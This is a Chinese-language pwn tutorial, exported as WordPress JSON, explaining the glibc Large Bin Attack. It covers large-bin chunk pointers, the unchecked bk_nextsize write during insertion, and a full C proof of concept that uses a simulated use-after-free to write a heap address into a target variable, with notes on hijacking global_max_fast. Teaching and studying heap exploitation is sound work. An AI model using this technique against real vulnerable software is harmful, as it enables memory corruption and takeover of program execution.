{"id":109021,"date":"2026-09-23T07:33:02","date_gmt":"2026-09-22T23:33:02","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/109021.html"},"modified":"2026-09-23T07:33:02","modified_gmt":"2026-09-22T23:33:02","slug":"large-bin-attack","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/109021.html","title":{"rendered":"Large Bin Attack"},"content":{"rendered":"

\u5b66\u4e60 Large Bin Attack，\u6700\u91cd\u8981\u7684\u4e00\u70b9\u662f\u4e0d\u8981\u88ab\u5b83\u7684\u540d\u5b57\u5413\u5012\u3002\u867d\u7136\u5b83\u5c5e\u4e8e\u9ad8\u7ea7\u7684\u5806\u5229\u7528\u6280\u5de7，\u4f46\u5b83\u7684\u672c\u8d28\u5176\u5b9e\u975e\u5e38\u7b80\u5355：\u5229\u7528 glibc \u5728\u7ef4\u62a4\u201c\u6709\u5e8f\u53cc\u5411\u94fe\u8868\u201d\u65f6，\u7f3a\u4e4f\u8db3\u591f\u7684\u5b89\u5168\u68c0\u67e5，\u4ece\u800c\u8ba9\u6211\u4eec\u80fd\u5728\u4e00\u4e2a\u4efb\u610f\u7684\u5185\u5b58\u5730\u5740\u91cc，\u5199\u5165\u4e00\u4e2a\u5806\u5730\u5740\u3002<\/p>\n

\u6211\u4eec\u5148\u629b\u5f00\u590d\u6742\u7684\u4ee3\u7801，\u4ece Large Bin \u8fd9\u4e2a\u201c\u4ed3\u5e93\u201d\u7684\u7279\u6b8a\u7ed3\u6784\u8bf4\u8d77\u3002<\/p>\n

\n

\u7b2c\u4e00\u6b65：\u7406\u89e3 Large Bin \u7684\u7279\u6b8a\u7ed3\u6784<\/h4>\n

\u5728\u4f60\u4e4b\u524d\u63a5\u89e6\u7684 Fastbin \u6216 Unsorted Bin \u4e2d，\u4e00\u4e2a\u91ca\u653e\u7684\u5185\u5b58\u5757（Chunk）\u53ea\u6709\u4e24\u4e2a\u6307\u9488：fd（\u6307\u5411\u4e0b\u4e00\u4e2a\u5757）\u548c bk（\u6307\u5411\u4e0a\u4e00\u4e2a\u5757）\u3002\u5b83\u4eec\u6784\u6210\u7684\u662f\u666e\u901a\u94fe\u8868\u3002<\/p>\n

\u4f46\u662f，Large Bin \u5b58\u653e\u7684\u662f\u5927\u4e8e 1024 \u5b57\u8282（64\u4f4d\u7cfb\u7edf\u4e0b）\u7684\u5927\u5185\u5b58\u5757\u3002\u4e3a\u4e86\u5728\u5206\u914d\u65f6\u80fd\u5feb\u901f\u627e\u5230\u5408\u9002\u5927\u5c0f\u7684\u5757，glibc \u5bf9 Large Bin \u505a\u4e86\u4e24\u4ef6\u4e8b：<\/p>\n

  • \u6309\u5927\u5c0f\u6392\u5e8f：\u6700\u5927\u7684 Chunk \u653e\u5728\u94fe\u8868\u5934，\u6700\u5c0f\u7684\u653e\u5728\u94fe\u8868\u5c3e\u3002<\/li>\n
  • \u589e\u52a0\u4e86\u4e24\u4e2a\u6307\u9488：\u4e3a\u4e86\u52a0\u5feb\u641c\u7d22\u901f\u5ea6，\u76f8\u540c\u5927\u5c0f\u7684 Chunk \u4f1a\u88ab\u5f52\u4e3a\u4e00\u7ec4\u3002\u6bcf\u7ec4\u7684\u7b2c\u4e00\u4e2a Chunk，\u9664\u4e86\u6709 fd \u548c bk，\u8fd8\u591a\u4e86\u4e24\u4e2a\u6307\u9488：fd_nextsize \u548c bk_nextsize\u3002<\/li>\n

    \u4e00\u4e2a\u5b8c\u6574\u7684 Large Bin Chunk \u7ed3\u6784\u957f\u8fd9\u6837：<\/p>\n

    struct malloc_chunk {
    \n INTERNAL_SIZE_T mchunk_prev_size; \/\/ \u524d\u4e00\u4e2achunk\u7684\u5927\u5c0f
    \n INTERNAL_SIZE_T mchunk_size; \/\/ \u5f53\u524dchunk\u7684\u5927\u5c0f
    \n struct malloc_chunk* fd; \/\/ \u7269\u7406\u76f8\u90bb\u7684\u4e0b\u4e00\u4e2achunk
    \n struct malloc_chunk* bk; \/\/ \u7269\u7406\u76f8\u90bb\u7684\u4e0a\u4e00\u4e2achunk<\/p>\n

    \/\/ \u53ea\u6709 Large Bin \u624d\u7528\u5230\u7684\u4e24\u4e2a\u6307\u9488：
    \n struct malloc_chunk* fd_nextsize; \/\/ \u6307\u5411\u6bd4\u5f53\u524d\u7ec4\u7a0d\u5fae\u5c0f\u4e00\u70b9\u7684\u90a3\u4e2a\u7ec4\u7684\u9996\u4e2achunk
    \n struct malloc_chunk* bk_nextsize; \/\/ \u6307\u5411\u6bd4\u5f53\u524d\u7ec4\u7a0d\u5fae\u5927\u4e00\u70b9\u7684\u90a3\u4e2a\u7ec4\u7684\u9996\u4e2achunk
    \n};<\/p>\n

    \u5173\u952e\u70b9：fd_nextsize \u548c bk_nextsize \u6784\u6210\u4e86\u4e00\u4e2a\u8df3\u8868，\u7528\u6765\u5728\u4e0d\u540c\u5927\u5c0f\u7684 Chunk \u4e4b\u95f4\u5feb\u901f\u8df3\u8f6c\u3002Large Bin Attack \u7684\u6838\u5fc3，\u5c31\u662f\u4f2a\u9020 bk_nextsize \u6216 bk \u6307\u9488\u3002<\/p>\n

    \n

    \u7b2c\u4e8c\u6b65：\u653b\u51fb\u7684\u89e6\u53d1\u539f\u7406（\u89e3\u5256 glibc \u6e90\u7801）<\/h4>\n

    \u4ec0\u4e48\u65f6\u5019\u4f1a\u89e6\u53d1 Large Bin Attack？
    \n\u7b54\u6848\u662f：\u5f53\u4e00\u4e2a Chunk \u4ece Unsorted Bin \u88ab\u653e\u5165 Large Bin \u65f6\u3002<\/p>\n

    \u5f53\u4f60\u8c03\u7528 malloc \u7533\u8bf7\u5185\u5b58\u65f6，glibc \u4f1a\u904d\u5386 Unsorted Bin\u3002\u5982\u679c\u53d1\u73b0\u91cc\u9762\u7684 Chunk \u5927\u5c0f\u4e0d\u6ee1\u8db3\u4f60\u7684\u8981\u6c42，\u5c31\u4f1a\u628a\u5b83\u201c\u5206\u7c7b\u201d\u653e\u5230\u5bf9\u5e94\u7684 Bin \u4e2d\u3002\u5982\u679c\u8fd9\u4e2a Chunk \u5f88\u5927，\u5c31\u4f1a\u88ab\u585e\u8fdb Large Bin，\u5e76\u4e14\u6309\u7167\u5927\u5c0f\u63d2\u5165\u5230\u5408\u9002\u7684\u4f4d\u7f6e\u3002<\/p>\n

    \u5728 glibc \u6e90\u7801\u4e2d，\u63d2\u5165 Large Bin \u7684\u64cd\u4f5c\u6709\u8fd9\u6837\u4e00\u6bb5\u903b\u8f91（\u8fd9\u91cc\u7b80\u5316\u4e86\u4ee3\u7801，\u53ea\u4fdd\u7559\u81f4\u547d\u90e8\u5206）：<\/p>\n

    \u5047\u8bbe victim \u662f\u6211\u4eec\u6b63\u8981\u63d2\u5165\u7684 Chunk，fwd \u662f\u94fe\u8868\u4e2d\u5df2\u7ecf\u5b58\u5728\u7684\u3001\u5927\u5c0f\u6bd4 victim \u5927\u7684 Chunk\u3002<\/p>\n

    \/\/ 1. \u8bbe\u7f6e victim \u7684 nextsize \u6307\u9488
    \nvictim->fd_nextsize = fwd;
    \nvictim->bk_nextsize = fwd->bk_nextsize;<\/p>\n

    \/\/ 2. \u66f4\u65b0\u539f\u6709\u94fe\u8868\u7684 nextsize \u6307\u9488
    \nfwd->bk_nextsize = victim;
    \nvictim->bk_nextsize->fd_nextsize = victim; \/\/ <—- \u3010\u81f4\u547d\u6f0f\u6d1e\u5c31\u5728\u8fd9\u91cc！\u3011<\/p>\n

    **\u4ed4\u7ec6\u770b\u6700\u540e\u4e00\u884c\u4ee3\u7801：victim->bk_nextsize->fd_nextsize = victim;**<\/p>\n

    \u5982\u679c\u4f60\u80fd\u5229\u7528\u67d0\u79cd\u6f0f\u6d1e（\u6bd4\u5982 Use-After-Free，UAF），\u5728 victim \u88ab\u63d2\u5165\u524d，\u4fee\u6539\u4e86\u539f\u672c\u8eba\u5728 Large Bin \u91cc\u7684\u90a3\u4e2a fwd \u7684 bk_nextsize \u6307\u9488，\u4f1a\u53d1\u751f\u4ec0\u4e48？<\/p>\n

    \u5047\u8bbe\u6211\u4eec\u628a fwd->bk_nextsize \u7be1\u6539\u6210 Target_Address – 0x20：<\/p>\n

  • \u6839\u636e\u4ee3\u7801\u7b2c\u4e00\u6bb5，victim->bk_nextsize \u53d8\u6210\u4e86 Target_Address – 0x20\u3002<\/li>\n
  • \u8fd0\u884c\u5230\u6700\u540e\u4e00\u884c\u65f6，glibc \u5b9e\u9645\u4e0a\u6267\u884c\u7684\u662f：
    \n(Target_Address – 0x20)->fd_nextsize = victim<\/li>\n
  • \u5728 Chunk \u7ed3\u6784\u4e2d，fd_nextsize \u7684\u504f\u79fb\u91cf\u521a\u597d\u662f 0x20\u3002<\/li>\n
  • \u4e8e\u662f，\u4ee3\u7801\u5c31\u53d8\u6210\u4e86：
    \nTarget_Address = victim<\/li>\n

    \u606d\u559c！\u4f60\u6210\u529f\u5730\u5728 Target_Address \u8fd9\u4e2a\u4efb\u610f\u5730\u5740，\u5199\u5165\u4e86 victim \u7684\u5806\u5730\u5740！ \u8fd9\u5c31\u662f Large Bin Attack \u7684\u7ec8\u6781\u5965\u4e49\u3002<\/p>\n

    \n

    \u7b2c\u4e09\u6b65：\u624b\u628a\u624b\u5b9e\u6218\u63a8\u6f14<\/h4>\n

    \u6211\u4eec\u7528\u4e00\u4e2a\u5177\u4f53\u7684\u573a\u666f\u6765\u8d70\u4e00\u904d\u653b\u51fb\u6d41\u7a0b\u3002\u5047\u8bbe\u73b0\u5728\u4f60\u6709\u4e00\u4e2a UAF \u6f0f\u6d1e，\u53ef\u4ee5\u4fee\u6539\u5df2\u7ecf\u88ab\u91ca\u653e\u7684 Chunk \u7684\u5185\u5bb9\u3002<\/p>\n

    \u73af\u5883\u51c6\u5907：
    \n\u4f60\u9700\u8981\u4f2a\u9020\u51fa\u4e00\u79cd\u7279\u5b9a\u7684\u5806\u5e03\u5c40\u3002<\/p>\n

  • malloc(0x400) \u5f97\u5230 Chunk A\u3002<\/li>\n
  • malloc(0x20) \u5f97\u5230 Chunk \u9694\u79bb（\u9632\u6b62\u4e0e\u540e\u9762\u7684\u5408\u5e76）\u3002<\/li>\n
  • malloc(0x420) \u5f97\u5230 Chunk B （\u6bd4 A \u7a0d\u5fae\u5927\u4e00\u70b9）\u3002<\/li>\n
  • malloc(0x20) \u5f97\u5230 Chunk \u9694\u79bb\u3002<\/li>\n

    \u653b\u51fb\u6b65\u9aa4：<\/p>\n

  • \u628a B \u653e\u5165 Large Bin：
    \n\u91ca\u653e B（\u8fdb\u5165 Unsorted Bin）\u3002\u7136\u540e\u7533\u8bf7\u4e00\u4e2a\u6bd4 B \u8fd8\u5927\u7684\u5757，\u6bd4\u5982 malloc(0x500)\u3002\u8fd9\u65f6，glibc \u53d1\u73b0 Unsorted Bin \u91cc\u7684 B \u4e0d\u591f\u5927，\u5c31\u4f1a\u628a\u5b83\u8f6c\u79fb\u5230 Large Bin \u4e2d\u3002
    \n\u6b64\u65f6，Large Bin：[ Chunk B ]<\/li>\n
  • \u91ca\u653e A \u5e76\u5229\u7528 UAF \u7be1\u6539 B：
    \n\u91ca\u653e A，A \u4f1a\u8fdb\u5165 Unsorted Bin\u3002
    \n\u5173\u952e\u52a8\u4f5c：\u5229\u7528\u4f60\u7684 UAF \u6f0f\u6d1e，\u4fee\u6539\u8eba\u5728 Large Bin \u91cc\u7684 Chunk B \u7684 bk_nextsize \u6307\u9488，\u5c06\u5176\u8986\u76d6\u4e3a\u4f60\u60f3\u8981\u653b\u51fb\u7684\u76ee\u6807\u5730\u5740\u51cf\u53bb 0x20（\u5373 Target_Address – 0x20）\u3002<\/li>\n
  • \u89e6\u53d1\u6f0f\u6d1e（\u5c06 A \u63d2\u5165 Large Bin）：
    \n\u518d\u6b21\u7533\u8bf7\u4e00\u4e2a\u6781\u5927\u7684\u5757，\u6bd4\u5982 malloc(0x500)\u3002
    \nglibc \u53d1\u73b0 Unsorted Bin \u91cc\u7684 A \u4e5f\u4e0d\u591f\u5927，\u4e8e\u662f\u4e5f\u8981\u628a A \u8f6c\u79fb\u5230 Large Bin \u91cc\u3002
    \nglibc \u5f00\u59cb\u6392\u5e8f：\u53d1\u73b0 A (0x400) \u6bd4 B (0x420) \u5c0f，\u51b3\u5b9a\u628a A \u63d2\u5165\u5230 B \u7684\u540e\u9762\u3002<\/li>\n
  • \u6f0f\u6d1e\u7206\u53d1：
    \nglibc \u4e56\u4e56\u5730\u6267\u884c\u6211\u4eec\u4e0a\u9762\u63d0\u5230\u7684\u90a3\u6bb5\u81f4\u547d\u4ee3\u7801：
    \nA->bk_nextsize->fd_nextsize = A
    \n\u4e5f\u5c31\u662f：
    \nTarget_Address = A\u7684\u5806\u5730\u5740<\/li>\n
    \n

    \u7b2c\u56db\u6b65：\u6211\u4eec\u80fd\u7528\u5b83\u6765\u505a\u4ec0\u4e48？<\/h4>\n

    \u4f60\u53ef\u80fd\u4f1a\u95ee：\u201c\u6211\u8d39\u4e86\u534a\u5929\u52b2，\u53ea\u80fd\u5f80\u4efb\u610f\u5730\u5740\u5199\u5165\u4e00\u4e2a\u5806\u7684\u5730\u5740，\u53c8\u4e0d\u80fd\u5199\u6211\u81ea\u5b9a\u4e49\u7684\u6570\u636e（\u6bd4\u5982 system \u51fd\u6570），\u8fd9\u6709\u4ec0\u4e48\u7528？\u201d<\/p>\n

    \u8fd9\u6b63\u662f Large Bin Attack \u7684\u7cbe\u5999\u4e4b\u5904\u3002\u5b83\u901a\u5e38\u4e0d\u4f5c\u4e3a\u6700\u540e\u7684\u7edd\u6740，\u800c\u662f\u4f5c\u4e3a\u7834\u5c40\u7684\u8df3\u677f\u3002\u6700\u7ecf\u5178\u7684\u7528\u6cd5\u662f：<\/p>\n

      \n
    • \u52ab\u6301 global_max_fast \u53d8\u91cf：
      \nglobal_max_fast \u662f glibc \u4e2d\u7684\u4e00\u4e2a\u5168\u5c40\u53d8\u91cf，\u7528\u6765\u9650\u5236 Fastbin \u7684\u6700\u5927\u5c3a\u5bf8（\u9ed8\u8ba4\u901a\u5e38\u662f 0x80）\u3002
      \n\u4f60\u53ef\u4ee5\u628a Target_Address \u8bbe\u4e3a global_max_fast\u3002\u653b\u51fb\u5b8c\u6210\u540e，global_max_fast \u4f1a\u88ab\u8986\u76d6\u6210\u4e00\u4e2a\u5de8\u5927\u7684\u5806\u5730\u5740（\u6bd4\u5982 0x55xxxxxx）\u3002
      \n\u4ece\u6b64\u4e4b\u540e，\u4efb\u4f55\u5927\u5c0f\u7684 Chunk \u91ca\u653e\u540e\u90fd\u4f1a\u88ab\u5f53\u4f5c Fastbin \u5904\u7406！ \u7136\u540e\u4f60\u5c31\u53ef\u4ee5\u6109\u5feb\u5730\u4f7f\u7528\u975e\u5e38\u7b80\u5355\u7684 Fastbin Attack \u6765\u7533\u8bf7\u4efb\u610f\u5185\u5b58\u3001\u4fee\u6539 Got \u8868\u3001\u62ff\u5230 Shell \u4e86\u3002<\/li>\n<\/ul>\n

      \u00a0<\/p>\n

      \u00a0<\/p>\n

      \u4f8b\u5b50<\/h2>\n

      \u8fd9\u662f\u4e00\u6bb5\u7ecf\u5178\u7684 C \u8bed\u8a00\u6982\u5ff5\u9a8c\u8bc1\u4ee3\u7801（PoC）\u3002\u901a\u8fc7\u8fd9\u6bb5\u4ee3\u7801，\u4f60\u53ef\u4ee5\u76f4\u89c2\u5730\u770b\u5230\u6211\u4eec\u662f\u5982\u4f55\u5229\u7528 UAF（Use-After-Free）\u6f0f\u6d1e，\u5c06\u4e00\u4e2a\u5806\u5730\u5740\u5199\u5165\u6808\u4e0a\u7684\u5c40\u90e8\u53d8\u91cf target \u4e2d\u7684\u3002<\/p>\n

      #include <stdio.h>
      \n#include <stdlib.h><\/p>\n

      int main() {
      \n \/\/ \u6211\u4eec\u7684\u653b\u51fb\u76ee\u6807：\u5c06\u4e00\u4e2a\u5806\u5730\u5740\u5199\u5165\u8fd9\u4e2a\u666e\u901a\u7684\u5c40\u90e8\u53d8\u91cf\u4e2d
      \n size_t target = 0;<\/p>\n

      printf("\u653b\u51fb\u524d target \u7684\u503c: 0x%zx\\\\n", target);
      \n printf("target \u53d8\u91cf\u7684\u5185\u5b58\u5730\u5740: %p\\\\n", &target);<\/p>\n

      \/\/ ====================================================================
      \n \/\/ \u7b2c\u4e00\u6b65：\u5e03\u5c40\u5806\u5185\u5b58
      \n \/\/ ====================================================================
      \n \/\/ \u5206\u914d\u4e00\u4e2a\u8f83\u5927\u7684 Chunk A (0x420)
      \n size_t *p1 = malloc(0x420);
      \n \/\/ \u5206\u914d\u4e00\u4e2a\u9694\u79bb\u5757，\u9632\u6b62 Chunk A \u548c Chunk B \u5728\u91ca\u653e\u65f6\u7269\u7406\u5408\u5e76
      \n malloc(0x20);<\/p>\n

      \/\/ \u5206\u914d\u4e00\u4e2a\u7a0d\u5c0f\u7684 Chunk B (0x400)
      \n size_t *p2 = malloc(0x400);
      \n \/\/ \u518d\u6b21\u5206\u914d\u9694\u79bb\u5757，\u9632\u6b62 Chunk B \u4e0e Top Chunk \u5408\u5e76
      \n malloc(0x20);<\/p>\n

      \/\/ ====================================================================
      \n \/\/ \u7b2c\u4e8c\u6b65：\u5c06 Chunk A \u9001\u5165 Large Bin
      \n \/\/ ====================================================================
      \n free(p1); \/\/ p1 \u91ca\u653e\u540e\u9996\u5148\u8fdb\u5165 Unsorted Bin
      \n malloc(0x500); \/\/ \u7533\u8bf7\u4e00\u4e2a\u66f4\u5927\u7684\u5757\u3002glibc \u904d\u5386 Unsorted Bin \u53d1\u73b0 p1 \u4e0d\u591f\u5927，
      \n \/\/ \u4e8e\u662f\u5c06\u5176\u5f52\u7c7b\u653e\u5165 Large Bin\u3002<\/p>\n

      \/\/ ====================================================================
      \n \/\/ \u7b2c\u4e09\u6b65：\u91ca\u653e Chunk B，\u51c6\u5907\u89e6\u53d1\u6f0f\u6d1e
      \n \/\/ ====================================================================
      \n free(p2); \/\/ p2 \u91ca\u653e\u540e\u8fdb\u5165 Unsorted Bin<\/p>\n

      \/\/ ====================================================================
      \n \/\/ \u7b2c\u56db\u6b65：\u6f0f\u6d1e\u4ecb\u5165（\u5229\u7528 UAF \u7be1\u6539\u6307\u9488）
      \n \/\/ ====================================================================
      \n \/\/ \u5047\u8bbe\u7a0b\u5e8f\u5b58\u5728 UAF \u6f0f\u6d1e，\u5141\u8bb8\u6211\u4eec\u4fee\u6539\u5df2\u7ecf\u91ca\u653e\u4e14\u8eba\u5728 Large Bin \u91cc\u7684 p1
      \n \/\/ malloc \u8fd4\u56de\u7684\u7528\u6237\u6001\u6307\u9488，\u5176\u7d22\u5f15\u504f\u79fb\u5982\u4e0b：
      \n \/\/ p1[0] -> fd
      \n \/\/ p1[1] -> bk
      \n \/\/ p1[2] -> fd_nextsize
      \n \/\/ p1[3] -> bk_nextsize<\/p>\n

      \/\/ \u6211\u4eec\u5c06 p1 \u7684 bk_nextsize \u7be1\u6539\u4e3a target \u5730\u5740\u51cf\u53bb 0x20
      \n p1[3] = (size_t)&target – 0x20; <\/p>\n

      \/\/ ====================================================================
      \n \/\/ \u7b2c\u4e94\u6b65：\u5f15\u7206\u6f0f\u6d1e
      \n \/\/ ====================================================================
      \n \/\/ \u518d\u6b21\u7533\u8bf7\u5927\u5185\u5b58\u3002glibc \u904d\u5386 Unsorted Bin，\u53d1\u73b0 p2 \u4e5f\u4e0d\u591f\u5927\u3002
      \n \/\/ \u5b83\u8bd5\u56fe\u5c06 p2 \u63d2\u5165\u5230 Large Bin \u4e2d p1 \u7684\u540e\u9762\u3002
      \n \/\/ \u6b64\u65f6\u89e6\u53d1\u81f4\u547d\u903b\u8f91：p1->bk_nextsize->fd_nextsize = p2
      \n \/\/ \u7ffb\u8bd1\u8fc7\u6765\u5c31\u662f：(&target – 0x20 + 0x20) = p2 \u7684 Chunk \u5934\u5730\u5740
      \n malloc(0x500);<\/p>\n

      \/\/ ====================================================================
      \n \/\/ \u9a8c\u8bc1\u7ed3\u679c
      \n \/\/ ====================================================================
      \n printf("\\\\n\u653b\u51fb\u540e target \u7684\u503c: 0x%zx\\\\n", target);<\/p>\n

      \/\/ \u8ba1\u7b97 p2 \u7684 Chunk \u5934\u5730\u5740 (\u7528\u6237\u6001\u6307\u9488\u51cf\u53bb 0x10 \u7684\u5934\u90e8\u5927\u5c0f)
      \n printf("p2 Chunk \u5934\u7684\u771f\u5b9e\u5730\u5740: %p\\\\n", (void*)((char*)p2 – 0x10));<\/p>\n

      return 0;
      \n}<\/p>\n

      \u6838\u5fc3\u504f\u79fb\u91cf\u89e3\u5256：\u4e3a\u4ec0\u4e48\u662f – 0x20？<\/h4>\n

      \u5728 64 \u4f4d\u7cfb\u7edf\u4e2d，\u5185\u5b58\u5bf9\u9f50\u548c\u7ed3\u6784\u4f53\u5927\u5c0f\u662f\u56fa\u5b9a\u7684\u3002\u8fd9\u91cc\u662f\u65b0\u624b\u6700\u5bb9\u6613\u5361\u4f4f\u7684\u5730\u65b9，\u6211\u4eec\u62c6\u89e3\u4e00\u4e0b glibc \u8ba1\u7b97\u5730\u5740\u7684\u8fc7\u7a0b：<\/p>\n

    • Chunk \u5934\u90e8\u7684\u7269\u7406\u7ed3\u6784：<\/li>\n
        \n
      • prev_size (8 bytes，\u504f\u79fb 0x00)<\/li>\n
      • size (8 bytes，\u504f\u79fb 0x08)<\/li>\n
      • fd (8 bytes，\u504f\u79fb 0x10)<\/li>\n
      • bk (8 bytes，\u504f\u79fb 0x18)<\/li>\n
      • fd_nextsize (8 bytes，\u504f\u79fb 0x20)<\/li>\n
      • bk_nextsize (8 bytes，\u504f\u79fb 0x28)<\/li>\n<\/ul>\n

        \u00a0<\/p>\n

      • glibc \u7684\u6267\u884c\u89c6\u89d2：
        \n\u5f53 glibc \u6267\u884c\u5230 victim->bk_nextsize->fd_nextsize = victim; \u65f6，\u5b83\u5728\u5e95\u5c42\u5176\u5b9e\u505a\u7684\u662f\u6307\u9488\u52a0\u6cd5\u8ba1\u7b97\u3002
        \n\u5b83\u8bfb\u53d6\u4e86\u4f60\u4f2a\u9020\u7684 bk_nextsize \u7684\u5730\u5740，\u7136\u540e\u5f3a\u5236\u5f80\u540e\u504f\u79fb 0x20 \u4e2a\u5b57\u8282（\u4e5f\u5c31\u662f fd_nextsize \u6240\u5728\u7684\u4f4d\u7f6e），\u628a victim（\u4e5f\u5c31\u662f p2）\u7684\u5730\u5740\u5199\u8fdb\u53bb\u3002<\/li>\n
      • \u4f60\u7684\u653b\u51fb\u89c6\u89d2：
        \n\u4f60\u5e0c\u671b victim \u7684\u5730\u5740\u7cbe\u51c6\u843d\u5165 target \u53d8\u91cf\u4e2d\u3002
        \n\u5982\u679c\u4f60\u76f4\u63a5\u5199 p1[3] = &target，glibc \u4f1a\u628a\u5730\u5740\u5199\u5230 &target + 0x20 \u7684\u5730\u65b9，\u8fd9\u5c31\u5199\u504f\u4e86\u3002
        \n\u6240\u4ee5\u4f60\u8981\u63d0\u524d\u51cf\u53bb 0x20 \u8865\u507f\u8fd9\u4e2a\u504f\u79fb：p1[3] = &target – 0x20\u3002
        \n\u8fd9\u6837 glibc \u7684\u64cd\u4f5c\u5c31\u53d8\u6210\u4e86：(&target – 0x20) + 0x20 = &target\u3002<\/li>\n

        \u7ec8\u7aef\u8fd0\u884c\u6548\u679c\u9884\u671f<\/h4>\n

        \u7f16\u8bd1\u5e76\u8fd0\u884c\u8fd9\u6bb5\u4ee3\u7801，\u4f60\u4f1a\u770b\u5230\u7c7b\u4f3c\u5982\u4e0b\u7684\u8f93\u51fa（\u7531\u4e8e ASLR，\u6bcf\u6b21\u8fd0\u884c\u5730\u5740\u4f1a\u53d8，\u4f46\u76f8\u5bf9\u903b\u8f91\u662f\u4e0d\u53d8\u7684）：<\/p>\n

        \u653b\u51fb\u524d target \u7684\u503c: 0x0
        \ntarget \u53d8\u91cf\u7684\u5185\u5b58\u5730\u5740: 0x7ffd5a98b2c8<\/p>\n

        \u653b\u51fb\u540e target \u7684\u503c: 0x55982c7a06a0
        \np2 Chunk \u5934\u7684\u771f\u5b9e\u5730\u5740: 0x55982c7a06a0<\/p>\n

        \u53ef\u4ee5\u770b\u5230，target \u539f\u672c\u662f\u4e00\u4e2a\u6beb\u65e0\u5a01\u80c1\u7684 0，\u4f46\u5728\u7ecf\u8fc7\u4e00\u6b21\u5408\u6cd5\u7684 malloc(0x500) \u64cd\u4f5c\u540e，\u5b83\u88ab glibc \u5185\u90e8\u7684\u94fe\u8868\u7ef4\u62a4\u673a\u5236\u5f3a\u884c\u5199\u5165\u4e86 p2 \u7684\u5806\u5730\u5740\u3002\u5982\u679c\u5728\u5b9e\u9645\u7684\u6f0f\u6d1e\u6316\u6398\u4e2d，\u4f60\u5c06 target \u66ff\u6362\u4e3a global_max_fast \u6216\u8005 _IO_list_all \u7b49\u5173\u952e\u7684\u7cfb\u7edf\u5e95\u5c42\u53d8\u91cf，\u5c31\u6b63\u5f0f\u638c\u63a7\u4e86\u7a0b\u5e8f\u7684\u6267\u884c\u6d41\u3002<\/p>\n

        \u00a0<\/p>\n","protected":false},"excerpt":{"rendered":"

        \u5b66\u4e60 Large Bin Attack，\u6700\u91cd\u8981\u7684\u4e00\u70b9\u662f\u4e0d\u8981\u88ab\u5b83\u7684\u540d\u5b57\u5413\u5012\u3002\u867d\u7136\u5b83\u5c5e\u4e8e\u9ad8\u7ea7\u7684\u5806\u5229\u7528\u6280\u5de7，\u4f46\u5b83\u7684\u672c\u8d28\u5176\u5b9e\u975e\u5e38\u7b80\u5355：\u5229\u7528 glibc \u5728\u7ef4\u62a4\u201c\u6709\u5e8f\u53cc\u5411\u94fe\u8868\u201d\u65f6，\u7f3a\u4e4f\u8db3\u591f\u7684\u5b89\u5168\u68c0\u67e5，\u4ece\u800c\u8ba9\u6211\u4eec\u80fd\u5728\u4e00\u4e2a\u4efb\u610f\u7684\u5185\u5b58\u5730\u5740\u91cc，\u5199\u5165\u4e00\u4e2a\u5806\u5730\u5740\u3002\u6211\u4eec\u5148\u629b\u5f00\u590d\u6742\u7684\u4ee3\u7801，\u4ece Large Bin \u8fd9\u4e2a\u201c\u4ed3\u5e93\u201d\u7684\u7279\u6b8a\u7ed3\u6784\u8bf4\u8d77\u3002\u7b2c\u4e00\u6b65：\u7406\u89e3 Large Bin \u7684\u7279\u6b8a\u7ed3\u6784\u5728\u4f60\u4e4b\u524d<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[7837,12440,3744],"topic":[],"class_list":["post-109021","post","type-post","status-publish","format-standard","hentry","category-server","tag-pwn","tag-12440","tag-3744"],"yoast_head":"\nLarge Bin Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/109021.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Large Bin Attack - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u5b66\u4e60 Large Bin Attack，\u6700\u91cd\u8981\u7684\u4e00\u70b9\u662f\u4e0d\u8981\u88ab\u5b83\u7684\u540d\u5b57\u5413\u5012\u3002\u867d\u7136\u5b83\u5c5e\u4e8e\u9ad8\u7ea7\u7684\u5806\u5229\u7528\u6280\u5de7，\u4f46\u5b83\u7684\u672c\u8d28\u5176\u5b9e\u975e\u5e38\u7b80\u5355：\u5229\u7528 glibc \u5728\u7ef4\u62a4\u201c\u6709\u5e8f\u53cc\u5411\u94fe\u8868\u201d\u65f6，\u7f3a\u4e4f\u8db3\u591f\u7684\u5b89\u5168\u68c0\u67e5，\u4ece\u800c\u8ba9\u6211\u4eec\u80fd\u5728\u4e00\u4e2a\u4efb\u610f\u7684\u5185\u5b58\u5730\u5740\u91cc，\u5199\u5165\u4e00\u4e2a\u5806\u5730\u5740\u3002\u6211\u4eec\u5148\u629b\u5f00\u590d\u6742\u7684\u4ee3\u7801，\u4ece Large Bin \u8fd9\u4e2a\u201c\u4ed3\u5e93\u201d\u7684\u7279\u6b8a\u7ed3\u6784\u8bf4\u8d77\u3002\u7b2c\u4e00\u6b65：\u7406\u89e3 Large Bin \u7684\u7279\u6b8a\u7ed3\u6784\u5728\u4f60\u4e4b\u524d\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/109021.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-22T23:33:02+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/109021.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/109021.html\",\"name\":\"Large Bin Attack - 